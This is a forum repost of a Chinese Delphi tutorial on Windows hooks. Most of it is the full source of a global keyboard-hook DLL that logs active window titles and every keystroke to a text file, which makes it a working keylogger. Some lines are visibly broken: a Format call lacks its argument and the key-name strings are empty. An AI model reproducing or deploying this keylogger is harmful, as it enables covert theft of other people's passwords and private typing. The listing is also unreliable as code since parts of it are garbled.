edisonfeng 发表于 2012-12-17 21:47:20

键盘Hook【Delphi版】

<div id="cnblogs_post_body">一.钩子的基本概念
   a) Hook作用:监视windows消息,在“特定消息”没有到达窗口之前捕获它。

    b)钩子分类:
      线程专用钩子:只监视指定的线程
      全局钩子:监视系统中的所有线程

            如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;
      如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对整个系统进行监控.
    c)几种常用类型的钩子:

      
   1)键盘钩子可以监视各种键盘消息。

  2)鼠标钩子可以监视各种鼠标消息。

   3)外壳钩子可以监视各种Shell事件消息,启动和关闭应用程序等。

   4)日志钩子可以记录从系统消息队列中取出的各种事件消息。

   5)窗口过程钩子监视所有从系统消息队列发往目标窗口的消息。

 d) 详细参考:
         理论分析:http://blog.csdn.net/yincheng01/article/details/6899305
         常用方式:http://www.cnblogs.com/linyawen/archive/2011/03/25/1995624.html


二.键盘钩子的实际应用
   a)键盘钩子DLL源码
<div class="cnblogs_code">library KeyboardHook;usesSysUtils,Windows,Messages,Classes;{$R *.res}varhook: HHOOK; {钩子变量}LastFocusWnd:Hwnd=0;PrvChar:Char;HookKey:String;KeyList:Tstringlist;constKeyMask=$80000000;{键盘钩子函数}function KeyboardHookProc(iCode: Integer; wParam: WPARAM; lParam:LPARAM):LRESULT;stdcall;var    ch:Char;         //记录一个个按下的按键字符    vKey:integer;      //表示按下了哪个键    FocusWnd:HWND;   //当前活动窗口句柄    Title:array[0..255] of char;    //窗口句柄的标题    str:array[0..12] of char;       // 当8<=vkey<=46时,表示按下的键名,例如[退格]    PEvt:^EventMsg;         //EventMsg的指针    iCapsLock,iNumLock,iShift:integer; //状态按键    bCapsLock,bNumLock,bShift:boolean; //是否按下状态按键beginif iCode<0 then //遵照SDK文档begin    Result:=CallNextHookEx(hook,iCode,wParam,lParam);    Exit;end;if (iCode = HC_ACTION) then                   //设备动作begin    PEvt := pointer(Dword(lparam));         //将lparam的指针传递给PEvt事件消息指针    FocusWnd:= GetActiveWindow;               //获取活动窗体句柄    if (LastFocusWnd <> FocusWnd) then    begin      if (HookKey <> '') then      begin            KeyList.Add('键盘击打:'+HookKey);            HookKey:= '';      end;      GetWindowText(FocusWnd,Title,256);      LastFocusWnd:= FocusWnd;      KeyList.add(Format('激活窗口:%s',));    end;    if (PEvt.message = WM_KEYDOWN) then       //如果事件消息为键下压操作    begin      vkey := LoByte(PEvt.paramL );         //取得16进制数最低位那个字节的内容      iShift:= GetKeyState(VK_SHIFT);       //获取这三个键的状态      iCapsLock:= GetKeyState(VK_CAPITAL);      iNumLock:= GEtKeyState(VK_NUMLOCK);      bShift:= ((iShift and KeyMask) = KeyMask); //判断它们的状态      bCapsLock:=(iCapsLock = 1);      bNumLock:= (iNumLock = 1);    end;    if ((vKey >= 48) and (vKey <=57)) then       //      0<=char(vkey)<=9    begin      if (not bShift) then                     //如果没有按下Shift键            ch:= char (vkey)                     //数字字符      else      begin            case vkey of                         //否则为以下字符之一                48:ch:= ')';                49:ch:= '!';                50:ch:= '@';                51:ch:= '#';                52:ch:= '$';                53:ch:= '%';                54:ch:= '^';                55:ch:= '&';                56:ch:= '*';                57:ch:= '(';            end; //end case      end;    //end else      HookKey:= HookKey + ch;    end;      //end if ((vKey >= 48) and (vKey <=57))    if ((vKey >=65) and (vKey <= 90)) then   // 'A'<=char(vkey)<='Z'    begin         if (not bCapsLock) then            //如果没有按下CapsLock键         begin            if (bShift) then                //按下了Shift键            ch:= char(vkey)               //大写            else            ch:= char(vkey + 32);         //小写         end         else                              //按下了CapsLock键         begin             if (bShift) then            //按下了Shift键               ch:= char(vkey + 32)      //小写             else               ch:= char(vkey);            //大写         end;         HookKey:= HookKey + ch;         //将按键添加到按键字符串    end;    if ((vkey >= 96) and (vkey <= 105)) then      //小键盘的0-9      if bNumLock then          HookKey:= HookKey + char(vkey - 96 + 48);    ch:= 'n';    if ((vkey >= 105) and (vkey <=111)) then   //+-*/    begin      case vkey of            106:ch:= '*';            107:ch:= '+';            109:ch:= '-';            111:ch:= '/';      else            ch:= 'n';      end;    end;    if ((vkey >=186) and (vkey <= 222)) then      //特殊符号    begin      if (not bShift) then            //没有按下Shift键      begin            case vkey of                186:ch:= ';';                187:ch:= '=';                189:ch:= ',';                190:ch:= '.';                191:ch:= '/';                192:ch:= '''' ;                219:ch:= '[';                220:ch:= '\';                221:ch:= ']';                222:ch:=char(27);            else                ch:= 'n';            end; //end case      end      else      begin             case vkey of                186:ch:= ':';                187:ch:= '+';                189:ch:= '<';                190:ch:= '>';                191:ch:= '?';                192:ch:= '~';                219:ch:= '{';                220:ch:= '|';                221:ch:= '}';                222:ch:= '"';             else                ch:= 'n';             end;   //end case      end;   //end if else    end;      //end if ((vkey >=186) and (vkey <= 222))    if ch <> 'n' then            //剔除未规定字符      HookKey := HookKey + ch;    if ((vkey >= 8) and (vkey <=46)) then    begin      ch:= ' ';      case vkey of            8:str:= '';            9:str:= '';            13:str:= '';            32:str:= '';            35:str:= '';            36:str:= '';            37:str:= '';            38:str:= '';            39:str:= '';            40:str:= '';            45:str:= '';            46:str:= '';      else            ch:= 'n';      end;      if (ch <> 'n') then      begin            HookKey := HookKey + str;      end;    end;       // KeyList.Add('ABC');end;//end iCode= HC_ACTIONresult := CallNextHookEx(hook,iCode,wparam,lparam);end;{建立钩子}function SetHook:Boolean;stdcall;beginif (hook = 0) thenbegin    KeyList:=Tstringlist.Create;    hook := SetWindowsHookEx(WH_JOURNALRECORD,KeyboardHookProc,HInstance,0);    //调用API HOOK    Result:=hook<>0endelse    Result:=False;end;{释放钩子}function DelHook:Boolean;stdcall;beginif (hook <> 0 ) thenbegin      Result:=UnHookWindowsHookEx(hook);    //卸载HOOK      hook:=0;      KeyList.Free;endelse      Result:=False;end;procedure PrintHook;stdcall;varprintStr:string;txtFile:TextFile;fileName:string;begin if KeyList <> nil thenbegin    printStr:=keyList.Text;    KeyList.Text:='';    //将键盘输入内容进行打印    fileName:='E:\SourceCode\DelphiWorkspace\Demo\键盘Hook2\keyboardRecord.txt';    AssignFile(txtFile,fileName);    if not FileExists(fileName) then    begin      Rewrite(txtFile);    end    else    begin      Append(txtFile);    end;    Writeln(txtFile,printStr);    Closefile(txtFile);end;end;{按DLL的要求输出函数}exportsSetHook name 'SetHook',DelHook name 'DelHook',PrintHook name 'PrintHook';//SetHook,DelHook,PrintHook;{如果不需要改名,可以直接这样exports}beginend.
页: [1]
查看完整版本: 键盘Hook【Delphi版】